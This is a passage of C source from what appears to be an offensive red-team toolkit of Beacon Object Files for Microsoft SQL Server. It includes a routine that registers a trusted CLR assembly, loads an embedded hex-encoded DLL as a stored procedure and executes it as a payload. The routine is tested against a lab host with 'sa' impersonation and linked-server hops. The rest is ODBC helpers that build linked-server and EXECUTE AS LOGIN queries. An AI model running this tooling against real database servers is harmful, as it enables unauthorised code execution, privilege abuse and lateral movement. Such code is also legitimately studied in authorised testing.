(!SQL_SUCCEEDED(ret)) { 45 | internal_printf("[!] Failed to allocate statement handle\n"); 46 | goto END; 47 | } 48 | 49 | // 50 | // verify that xp_cmdshell is enabled 51 | // 52 | if (IsModuleEnabled(stmt, "clr enabled", link, impersonate)) 53 | { 54 | internal_printf("[*] CLR is enabled\n"); 55 | } 56 | else 57 | { 58 | internal_printf("[!] CLR is not enabled\n"); 59 | goto END; 60 | } 61 | 62 | // 63 | // close the cursor 64 | // 65 | ret = ODBC32$SQLCloseCursor(stmt); 66 | if (!SQL_SUCCEEDED(ret)) { 67 | internal_printf("[!] Failed to close cursor\n"); 68 | goto END; 69 | } 70 | 71 | // 72 | // if using linked server, ensure rpc is enabled 73 | // 74 | if (link != NULL) 75 | { 76 | if (IsRpcEnabled(stmt, link)) 77 | { 78 | internal_printf("[*] RPC out is enabled\n"); 79 | } 80 | else 81 | { 82 | internal_printf("[!] RPC out is not enabled\n"); 83 | goto END; 84 | } 85 | 86 | // 87 | // close the cursor 88 | // 89 | ret = ODBC32$SQLCloseCursor(stmt); 90 | if (!SQL_SUCCEEDED(ret)) { 91 | internal_printf("[!] Failed to close cursor\n"); 92 | goto END; 93 | } 94 | } 95 | 96 | // 97 | // Check if the assembly hash already exists in sys.trusted_assemblies 98 | // and drop it if it does 99 | // 100 | if (AssemblyHashExists(stmt, hash, link, impersonate)) 101 | { 102 | internal_printf("[!] Assembly hash already exists in sys.trusted_assesmblies\n"); 103 | internal_printf("[*] Dropping existing assembly hash before continuing\n"); 104 | 105 | // 106 | // Close the cursor 107 | // 108 | ret = ODBC32$SQLCloseCursor(stmt); 109 | if (!SQL_SUCCEEDED(ret)) { 110 | internal_printf("[!] Failed to close cursor\n"); 111 | goto END; 112 | } 113 | 114 | if (!DeleteTrustedAssembly(stmt, hash, link, impersonate)) 115 | { 116 | internal_printf("[!] Failed to drop existing assembly hash\n"); 117 | goto END; 118 | } 119 | } 120 | else 121 | { 122 | // 123 | // Close the cursor 124 | // 125 | ret = ODBC32$SQLCloseCursor(stmt); 126 | if (!SQL_SUCCEEDED(ret)) { 127 | internal_printf("[!] Failed to close cursor\n"); 128 | goto END; 129 | } 130 | } 131 | 132 | // 133 | // Add the DLL to sys.trusted_assemblies 134 | // 135 | if (!AddTrustedAssembly(stmt, dllPath, hash, link, impersonate)) 136 | { 137 | internal_printf("[!] Failed to add trusted assembly\n"); 138 | goto END; 139 | } 140 | 141 | internal_printf("[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \"%s\"\n", dllPath); 142 | 143 | // 144 | // Ensure procedure and assembly names do not already exist 145 | // 146 | if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate)) 147 | { 148 | internal_printf("[!] Failed to drop existing assembly and procedure\n"); 149 | goto END; 150 | } 151 | 152 | // 153 | // Create the custom assembly 154 | // 155 | internal_printf("[*] Creating a new custom assembly with the name \"%s\"\n", assemblyName); 156 | if(!CreateAssembly(stmt, assemblyName, hexBytes, link, impersonate)) { 157 | internal_printf("[!] Failed to create custom assembly. This probably happened as the assembly was uploaded before using a different name. See SQL error message\n"); 158 | goto END; 159 | } 160 | 161 | // 162 | // Verify that the assembly exists before we continue 163 | // 164 | if (!AssemblyExists(stmt, assemblyName, link, impersonate)) 165 | { 166 | internal_printf("[!] Failed to create custom assembly\n"); 167 | internal_printf("[*] Cleaning up...\n"); 168 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 169 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 170 | goto END; 171 | } 172 | 173 | // 174 | // Create the stored procedure 175 | // 176 | internal_printf("[*] Loading DLL into stored procedure \"%s\"\n", function); 177 | CreateAssemblyStoredProc(stmt, assemblyName, function, FALSE, link, impersonate); 178 | 179 | // 180 | // Verify that the stored procedure exists before we continue 181 | // 182 | if (!AssemblyStoredProcExists(stmt, function, link, impersonate)) 183 | { 184 | internal_printf("[!] Stored procedure not found\n"); 185 | internal_printf("[*] Cleaning up...\n"); 186 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 187 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 188 | goto END; 189 | } 190 | 191 | internal_printf("[*] Created \"[%s].[StoredProcedures].[%s]\"\n", assemblyName, function); 192 | 193 | // 194 | // Execute the stored procedure 195 | // 196 | internal_printf("[*] Executing payload...\n"); 197 | ExecuteAssemblyStoredProc(stmt, function, link, impersonate); 198 | 199 | // 200 | // Cleanup before we exit 201 | // 202 | internal_printf("[*] Cleaning up...\n"); 203 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 204 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 205 | 206 | 207 | END: 208 | intFree(dllPath); 209 | intFree(assemblyName); 210 | ODBC32$SQLCloseCursor(stmt); 211 | DisconnectSqlServer(env, dbc, stmt); 212 | } 213 | 214 | 215 | #ifdef BOF 216 | VOID go( 217 | IN PCHAR Buffer, 218 | IN ULONG Length 219 | ) 220 | { 221 | char* server; 222 | char* database; 223 | char* link; 224 | char* impersonate; 225 | char* function; 226 | char* hash; 227 | char* hexBytes; 228 | LPBYTE lpDllBuffer = NULL; 229 | DWORD dwDllBufferSize = 0; 230 | 231 | // 232 | // parse beacon args 233 | // 234 | datap parser; 235 | BeaconDataParse(&parser, Buffer, Length); 236 | server = BeaconDataExtract(&parser, NULL); 237 | database = BeaconDataExtract(&parser, NULL); 238 | link = BeaconDataExtract(&parser, NULL); 239 | impersonate = BeaconDataExtract(&parser, NULL); 240 | function = BeaconDataExtract(&parser, NULL); 241 | hash = BeaconDataExtract(&parser, NULL); 242 | lpDllBuffer = BeaconDataExtract(&parser, (int*)&dwDllBufferSize); 243 | 244 | server = *server == 0 ? "localhost" : server; 245 | database = *database == 0 ? "master" : database; 246 | link = *link == 0 ? NULL : link; 247 | impersonate = *impersonate == 0 ? NULL : impersonate; 248 | 249 | if(!bofstart()) 250 | { 251 | return; 252 | } 253 | 254 | if (UsingLinkAndImpersonate(link, impersonate)) 255 | { 256 | return; 257 | } 258 | 259 | // 260 | // Convert the raw dll to hex string 261 | // 262 | hexBytes = (char*) intAlloc(dwDllBufferSize * 2 + 1); 263 | if (hexBytes == NULL) 264 | { 265 | internal_printf("[!] Failed to allocate memory for hex conversion\n"); 266 | printoutput(FALSE); 267 | return; 268 | } 269 | 270 | for (DWORD i = 0; i < dwDllBufferSize; i++) 271 | { 272 | MSVCRT$sprintf(hexBytes + (i * 2), "%02X", lpDllBuffer[i]); 273 | } 274 | hexBytes[dwDllBufferSize * 2] = '\0'; 275 | 276 | ExecuteClrAssembly(server, database, link, impersonate, function, hash, hexBytes); 277 | intFree(hexBytes); 278 | printoutput(TRUE); 279 | }; 280 | 281 | #else 282 | 283 | int main() 284 | { 285 | // 286 | // DLL spawns notepad.exe 287 | // source here: https://github.com/Tw1sm/PySQLRecon/blob/main/resources/dotnet/CreateProcess.cs 288 | // 289 | char* bytes = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300607eef640000000000000000e00002210b010b00000400000006000000000000ce2300000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000007c2300004f00000000400000b802000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000d4030000002000000004000000020000000000000000000000000000200000602e72737263000000b8020000004000000004000000060000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000000a00000000000000000000000000004000004200000000000000000000000000000000b02300000000000048000000020005006820000014030000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036007201000070280400000a262a1e02280500000a2a000042534a4201000100000000000c00000076342e302e33303331390000000005006c0000001c010000237e0000880100001401000023537472696e6773000000009c0200001c00000023555300b8020000100000002347554944000000c80200004c00000023426c6f620000000000000002000001471400000900000000fa253300160000010000000500000002000000020000000500000003000000010000000300000000000a0001000000000006003d0036000600780058000600980058000a00dd00c2000e000601f3000000000001000000000001000100010010001c000000050001000100502000000000960044000a0001005e2000000000861852000e000100110052001200190052000e00210052000e0029000e011c00090052000e0020001b0017002e000b0022002e0013002b000480000000000000000000000000000000004400000004000000000000000000000001002d00000000000400000000000000000000000100b6000000000004000000000000000000000001003600000000000000003c4d6f64756c653e0043726561746550726f636573732e646c6c0053746f72656450726f63656475726573006d73636f726c69620053797374656d004f626a6563740043726561746550726f63657373002e63746f720053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300436f6d70696c6174696f6e52656c61786174696f6e734174747269627574650052756e74696d65436f6d7061746962696c6974794174747269627574650053797374656d2e44617461004d6963726f736f66742e53716c5365727665722e5365727665720053716c50726f6365647572654174747269627574650053797374656d2e446961676e6f73746963730050726f636573730053746172740000176e006f00740065007000610064002e0065007800650000000000e9bbd494c7999b429267cfb509264f810008b77a5c561934e08903000001032000010420010108040100000005000112150e0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010000a42300000000000000000000be230000002000000000000000000000000000000000000000000000b0230000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c02000000000000000000005c0234000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000000000000000000000000000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc010000010053007400720069006e006700460069006c00650049006e0066006f0000009801000001003000300030003000300034006200300000002c0002000100460069006c0065004400650073006300720069007000740069006f006e000000000020000000300008000100460069006c006500560065007200730069006f006e000000000030002e0030002e0030002e003000000044001200010049006e007400650072006e0061006c004e0061006d0065000000430072006500610074006500500072006f0063006500730073002e0064006c006c0000002800020001004c006500670061006c0043006f0070007900720069006700680074000000200000004c00120001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000430072006500610074006500500072006f0063006500730073002e0064006c006c000000340008000100500072006f006400750063007400560065007200730069006f006e00000030002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000030002e0030002e0030002e00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000d03300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; 290 | 291 | internal_printf("============ BASE TEST ============\n\n"); 292 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 293 | 294 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 295 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 296 | 297 | internal_printf("\n\n============ LINK TEST ============\n\n"); 298 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 299 | } 300 | 301 | #endif 302 | -------------------------------------------------------------------------------- /src/common/sql.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "bofdefs.h" 4 | 5 | 6 | // 7 | // prints a SQL error message 8 | // 9 | void ShowError(unsigned int handletype, const SQLHANDLE* handle) 10 | { 11 | SQLCHAR sqlstate[1024]; 12 | SQLCHAR message[1024]; 13 | if (SQL_SUCCESS == ODBC32$SQLGetDiagRec(handletype, (SQLHANDLE)handle, 1, sqlstate, NULL, message, 1024, NULL)) 14 | { 15 | internal_printf("[-] Message: %s \n[-] SQL State: %s\n", message, sqlstate); 16 | } 17 | } 18 | 19 | // 20 | // Actual query execution 21 | // 22 | BOOL ExecuteQuery(SQLHSTMT stmt, SQLCHAR* query) 23 | { 24 | SQLRETURN ret; 25 | //internal_printf("Executing query: %s\n", query); 26 | //BeaconPrintf(CALLBACK_OUTPUT, "Executing query: %s\n", query); 27 | 28 | ret = ODBC32$SQLExecDirect(stmt, query, SQL_NTS); 29 | if (!SQL_SUCCEEDED(ret)) 30 | { 31 | internal_printf("[!] Error executing query\n"); 32 | ShowError(SQL_HANDLE_STMT, stmt); 33 | return FALSE; 34 | } 35 | 36 | return TRUE; 37 | } 38 | 39 | // 40 | // 41 | // 42 | BOOL ExecuteLQueryRpc(SQLHSTMT stmt, SQLCHAR* query, char* link) 43 | { 44 | // 45 | // Replace single quotes with double single quotes 46 | // 47 | int count = 0; 48 | char* ptr = (char*)query; 49 | while (*ptr) { 50 | if (*ptr == '\'') { 51 | count++; 52 | } 53 | ptr++; 54 | } 55 | 56 | char* editedQuery = (char*)intAlloc((MSVCRT$strlen((char*)query) + count + 1) * sizeof(char)); 57 | char* newPtr = editedQuery; 58 | ptr = (char*)query; 59 | 60 | while (*ptr) { 61 | if (*ptr == '\'') { 62 | *newPtr++ = '\''; 63 | *newPtr++ = '\''; 64 | } else { 65 | *newPtr++ = *ptr; 66 | } 67 | ptr++; 68 | } 69 | *newPtr = '\0'; 70 | 71 | char* prefix = "EXECUTE ('"; 72 | char* suffix = "') AT ["; 73 | char* querySuffix = "];"; 74 | 75 | // append prefix, query, suffix, link, querySuffix 76 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen((char*)editedQuery) + MSVCRT$strlen(suffix) + MSVCRT$strlen(link) + MSVCRT$strlen(querySuffix) + 1; 77 | char* lQuery = (char*)intAlloc(totalSize * sizeof(char)); 78 | MSVCRT$strcpy(lQuery, prefix); 79 | MSVCRT$strncat(lQuery, (char*)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1); 80 | MSVCRT$strncat(lQuery, suffix, totalSize - MSVCRT$strlen(lQuery) - 1); 81 | MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1); 82 | MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 83 | 84 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)lQuery); 85 | 86 | intFree(editedQuery); 87 | intFree(lQuery); 88 | 89 | return result; 90 | } 91 | 92 | // 93 | // Preps a linked query and calls ExecuteQuery 94 | // 95 | BOOL ExecuteLQuery(SQLHSTMT stmt, SQLCHAR* query, char* link) 96 | { 97 | // 98 | // Replace single quotes with double single quotes 99 | // 100 | int count = 0; 101 | char* ptr = (char*)query; 102 | while (*ptr) { 103 | if (*ptr == '\'') { 104 | count++; 105 | } 106 | ptr++; 107 | } 108 | 109 | char* editedQuery = (char*)intAlloc((MSVCRT$strlen((char*)query) + count + 1) * sizeof(char)); 110 | char* newPtr = editedQuery; 111 | ptr = (char*)query; 112 | 113 | while (*ptr) { 114 | if (*ptr == '\'') { 115 | *newPtr++ = '\''; 116 | *newPtr++ = '\''; 117 | } else { 118 | *newPtr++ = *ptr; 119 | } 120 | ptr++; 121 | } 122 | *newPtr = '\0'; 123 | 124 | char* linkPrefix = "SELECT * FROM OPENQUERY(\""; 125 | char* linksuffix = "\", '"; 126 | char* querySuffix = "')"; 127 | 128 | // append linkPrefix, link, linksuffix, query, querySuffix 129 | size_t totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(link) + MSVCRT$strlen(linksuffix) + MSVCRT$strlen((char*)editedQuery) + MSVCRT$strlen(querySuffix) + 1; 130 | char* lQuery = (char*)intAlloc(totalSize * sizeof(char)); 131 | 132 | MSVCRT$strcpy(lQuery, linkPrefix); 133 | MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1); 134 | MSVCRT$strncat(lQuery, linksuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 135 | MSVCRT$strncat(lQuery, (char*)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1); 136 | MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 137 | 138 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)lQuery); 139 | 140 | intFree(editedQuery); 141 | intFree(lQuery); 142 | 143 | return result; 144 | } 145 | 146 | // 147 | // Preps and impersonated query and calls ExecuteQuery 148 | // 149 | BOOL ExecuteIQuery(SQLHSTMT stmt, SQLCHAR* query, char* impersonate) 150 | { 151 | char* prefix = "EXECUTE AS LOGIN = '"; 152 | char* suffix = "'; "; 153 | 154 | // append prefix, impersonate, suffix and query 155 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(suffix) + MSVCRT$strlen((char*)query) + 1; 156 | char* iQuery = (char*)intAlloc(totalSize * sizeof(char)); 157 | MSVCRT$strcpy(iQuery, prefix); 158 | MSVCRT$strncat(iQuery, impersonate, totalSize - MSVCRT$strlen(iQuery) - 1); 159 | MSVCRT$strncat(iQuery, suffix, totalSize - MSVCRT$strlen(iQuery) - 1); 160 | MSVCRT$strncat(iQuery, (char*)query, totalSize - MSVCRT$strlen(iQuery) - 1); 161 | 162 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)iQuery); 163 | 164 | intFree(iQuery); 165 | 166 | return result; 167 | } 168 | 169 | // 170 | // Main query handler to detemine if running standard, linked, or impersonated query 171 | // (for BOFs that support more than just standard queries) 172 | // 173 | BOOL HandleQuery(SQLHSTMT stmt, SQLCHAR* query, char* link, char* impersonate, BOOL useRpc) 174 | { 175 | //internal_printf("Query: %s\n", query); 176 | if (link != NULL) 177 | { 178 | if (useRpc) 179 | { 180 | return ExecuteLQueryRpc(stmt, query, link); 181 | } 182 | else 183 | { 184 | return ExecuteLQuery(stmt, query, link); 185 | } 186 | } 187 | else if (impersonate != NULL) 188 | { 189 | return ExecuteIQuery(stmt, query, impersonate); 190 | } 191 | else 192 | { 193 | return ExecuteQuery(stmt, query); 194 | } 195 | } 196 | 197 | // 198 | // As part of a workaround for Linked RPC Query funkiness, this function 199 | // will resolve the Schema of a table name on a linked server, so that it can 200 | // be hardcoded into subsequent RPC queries in the form [database].[schema].[table] 201 | // 202 | BOOL GetTableShema(SQLHSTMT stmt, char* link, char* database, char* table) 203 | { 204 | char* prefix = "SELECT TABLE_SCHEMA FROM "; 205 | char* middle = ".INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '"; 206 | char* suffix = "';"; 207 | 208 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(middle) + MSVCRT$strlen(table) + MSVCRT$strlen(suffix) + 1; 209 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 210 | 211 | MSVCRT$strcpy(query, prefix); 212 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 213 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 214 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 215 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 216 | 217 | BOOL result = ExecuteLQuery(stmt, (SQLCHAR*)query, link); 218 | 219 | intFree(query); 220 | 221 | return result; 222 | } 223 | 224 | 225 | 226 | // 227 | // Clear the cursor so it can be closed without a 24000 Invalid Cursor State error 228 | // Doesn't seem to be an issue unless executing multiple linked queries in succession 229 | // https://learn.microsoft.com/en-us/sql/odbc/reference/syntax/sqlclosecursor-function?view=sql-server-ver16 230 | // 231 | void ClearCursor(SQLHSTMT stmt) 232 | { 233 | // 234 | // Probably not the cleanest to assume success but 235 | // 236 | SQLRETURN ret = SQL_SUCCESS; 237 | 238 | // 239 | // Fetch all results to clear the cursor 240 | // 241 | while(ret == SQL_SUCCESS || ret == SQL_SUCCESS_WITH_INFO) { 242 | ODBC32$SQLFetch(stmt); 243 | ret = ODBC32$SQLMoreResults(stmt); 244 | } 245 | } 246 | 247 | 248 | // 249 | // Check if link and impersonate were provided (can't use both) 250 | // 251 | BOOL UsingLinkAndImpersonate(char* link, char* impersonate) 252 | { 253 | if (link != NULL && impersonate != NULL) 254 | { 255 | internal_printf("[!] Cannot use both link and impersonate.\n"); 256 | printoutput(TRUE); 257 | return TRUE; 258 | } 259 | 260 | // linked server usage will be printed in the individual BOFs 261 | if (impersonate != NULL) 262 | { 263 | internal_printf("[*] Using impersonation: %s\n", impersonate); 264 | } 265 | 266 | return FALSE; 267 | } 268 | 269 | // 270 | // returns an array of results (1st column only) 271 | // 272 | char** GetMultipleResults(SQLHSTMT stmt, BOOL hasHeader) 273 | { 274 | char** results = (char**)intAlloc(1024 * sizeof(char*)); 275 | SQLCHAR buf[1024]; 276 | SQLLEN indicator; 277 | int i = 0; 278 | 279 | while (ODBC32$SQLFetch(stmt) == SQL_SUCCESS) 280 | { 281 | ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, sizeof(buf), &indicator); 282 | if (hasHeader && i == 0) 283 | { 284 | i++; 285 | continue; 286 | } 287 | results[i] = (char*)intAlloc((MSVCRT$strlen((char*)buf) + 1) * sizeof(char)); 288 | MSVCRT$strcpy(results[i], (char*)buf); 289 | i++; 290 | } 291 | results[i] = NULL; // Null terminate the array 292 | return results; 293 | } 294 | 295 | // 296 | // returns a single result (1st column/1st row only) 297 | // 298 | char* GetSingleResult(SQLHSTMT stmt, BOOL hasHeader) 299 | { 300 | SQLCHAR* buf = (SQLCHAR*)intAlloc(1024 * sizeof(SQLCHAR)); 301 | SQLLEN indicator; 302 | SQLRETURN ret; 303 | 304 | ret = ODBC32$SQLFetch(stmt); 305 | if (!SQL_SUCCEEDED(ret)) 306 | { 307 | internal_printf("[!] Error fetching results\n"); 308 | return NULL; 309 | } 310 | 311 | ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator); 312 | if (!SQL_SUCCEEDED(ret)) 313 | { 314 | internal_printf("[!] Error retrieving data\n"); 315 | return NULL; 316 | } 317 | 318 | if (hasHeader) 319 | { 320 | ret = ODBC32$SQLFetch(stmt); 321 | if (!SQL_SUCCEEDED(ret)) 322 | { 323 | internal_printf("[!] Error fetching results\n"); 324 | return NULL; 325 | } 326 | 327 | ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator); 328 | if (!SQL_SUCCEEDED(ret)) 329 | { 330 | internal_printf("[!] Error retrieving data\n"); 331 | return NULL; 332 | } 333 | } 334 | return (char*)buf; 335 | } 336 | 337 | // 338 | // prints the results of a query 339 | // 340 | BOOL PrintQueryResults(SQLHSTMT stmt, BOOL hasHeader) 341 | { 342 | SQLSMALLINT columns; 343 | SQLRETURN ret; 344 | 345 | // Get the number of columns in the result set 346 | ret = ODBC32$SQLNumResultCols(stmt, &columns); 347 | if (!SQL_SUCCEEDED(ret)) 348 | { 349 | internal_printf("Error retrieving column count\n"); 350 | return FALSE; 351 | } 352 | 353 | SQLCHAR buffer[1024]; 354 | SQLSMALLINT columnNameLength, dataType, decimalDigits, nullable; 355 | SQLULEN columnSize; 356 | int totalLength = 0; 357 | 358 | // Print column headers 359 | if (hasHeader) 360 | { 361 | for (SQLSMALLINT i = 1; i <= columns; i++) 362 | { 363 | ret = ODBC32$SQLDescribeCol(stmt, i, buffer, sizeof(buffer), &columnNameLength, &dataType, &columnSize, &decimalDigits, &nullable); 364 | if (!SQL_SUCCEEDED(ret)) 365 | { 366 | internal_printf("Error retrieving column information.\n"); 367 | return FALSE; 368 | } 369 | internal_printf("%s | ", buffer); 370 | totalLength += columnNameLength + 3; 371 | } 372 | 373 | internal_printf("\n"); 374 | for (int i = 0; i < totalLength; i++) 375 | { 376 | internal_printf("-"); 377 | } 378 | internal_printf("\n"); 379 | } 380 | 381 | // Iterate over each row 382 | while (SQL_SUCCEEDED(ret = ODBC32$SQLFetch(stmt))) 383 | { 384 | // Iterate over each column 385 | for (SQLSMALLINT i = 1; i <= columns; i++) 386 | { 387 | SQLLEN indicator; 388 | // Retrieve column data 389 | ret = ODBC32$SQLGetData(stmt, i, SQL_C_CHAR, buffer, sizeof(buffer), &indicator); 390 | if (SQL_SUCCEEDED(ret)) 391 | { 392 | // Print column data 393 | if (indicator == SQL_NULL_DATA) MSVCRT$strcpy((char*)buffer, ""); 394 | internal_printf("%s | ", buffer); 395 | } 396 | } 397 | internal_printf("\n"); 398 | } 399 | } 400 | 401 | // 402 | // connects to a SQL server 403 | // 404 | SQLHDBC ConnectToSqlServer(SQLHENV* env, char* server, char* dbName) 405 | { 406 | SQLRETURN ret; 407 | SQLCHAR connstr[1024]; 408 | SQLHDBC dbc = NULL; 409 | 410 | // 411 | // Allocate an environment handle and set ODBC version 412 | // 413 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, env); 414 | if (!SQL_SUCCEEDED(ret)) 415 | { 416 | internal_printf("[-] Error allocating environment handle\n"); 417 | ShowError(SQL_HANDLE_ENV, *env); 418 | return NULL; 419 | } 420 | 421 | ret = ODBC32$SQLSetEnvAttr(*env, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0); 422 | if (!SQL_SUCCEEDED(ret)) 423 | { 424 | internal_printf("[-] Error setting ODBC version\n"); 425 | ShowError(SQL_HANDLE_ENV, *env); 426 | return NULL; 427 | } 428 | 429 | // 430 | // Allocate a connection handle 431 | // 432 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_DBC, *env, &dbc); 433 | if (!SQL_SUCCEEDED(ret)) 434 | { 435 | internal_printf("[-] Error allocating connection handle\n"); 436 | ShowError(SQL_HANDLE_ENV, *env); 437 | return NULL; 438 | } 439 | 440 | // 441 | // dbName may be NULL when a linked server is used 442 | // 443 | if (dbName == NULL) 444 | { 445 | MSVCRT$sprintf((char*)connstr, "DRIVER={SQL Server};SERVER=%s;Trusted_Connection=Yes;", server); 446 | } 447 | else 448 | { 449 | MSVCRT$sprintf((char*)connstr, "DRIVER={SQL Server};SERVER=%s;DATABASE=%s;Trusted_Connection=Yes;", server, dbName); 450 | } 451 | 452 | 453 | // 454 | // connect to the sql server 455 | // 456 | internal_printf("[*] Connecting to %s:1433\n", server); 457 | ret = ODBC32$SQLDriverConnect(dbc, NULL, connstr, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_NOPROMPT); 458 | if (!SQL_SUCCEEDED(ret)) 459 | { 460 | internal_printf("[-] Error connecting to database\n"); 461 | ShowError(SQL_HANDLE_DBC, dbc); 462 | return NULL; 463 | } 464 | 465 | internal_printf("[+] Successfully connected to database\n"); 466 | return dbc; 467 | } 468 | 469 | // 470 | // closes the connection to a SQL server 471 | // 472 | void DisconnectSqlServer(SQLHENV env, SQLHDBC dbc, SQLHSTMT stmt) 473 | { 474 | SQLRETURN ret; 475 | internal_printf("\n[*] Disconnecting from server\n"); 476 | 477 | if (stmt != NULL) 478 | { 479 | // 480 | // free the statement handle 481 | // 482 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_STMT, stmt); 483 | if (!SQL_SUCCEEDED(ret)) 484 | { 485 | internal_printf("[-] Error freeing statement handle\n"); 486 | ShowError(SQL_HANDLE_STMT, stmt); 487 | } 488 | } 489 | 490 | if (dbc != NULL) 491 | { 492 | // 493 | // disconnect from the server 494 | // 495 | ret = ODBC32$SQLDisconnect(dbc); 496 | if (!SQL_SUCCEEDED(ret)) 497 | { 498 | internal_printf("[-] Error disconnecting from server\n"); 499 | ShowError(SQL_HANDLE_DBC, dbc); 500 | } 501 | 502 | // 503 | // free the connection handle 504 | // 505 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_DBC, dbc); 506 | if (!SQL_SUCCEEDED(ret)) 507 | { 508 | internal_printf("[-] Error freeing connection handle\n"); 509 | ShowError(SQL_HANDLE_DBC, dbc); 510 | } 511 | } 512 | 513 | if (env != NULL) 514 | { 515 | // 516 | // free the environment handle 517 | // 518 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_ENV, env); 519 | if (!SQL_SUCCEEDED(ret)) 520 | { 521 | internal_printf("[-] Error freeing environment handle\n"); 522 | ShowError(SQL_HANDLE_ENV, env); 523 | } 524 | } 525 | 526 | } --------------------------------------------------------------------------------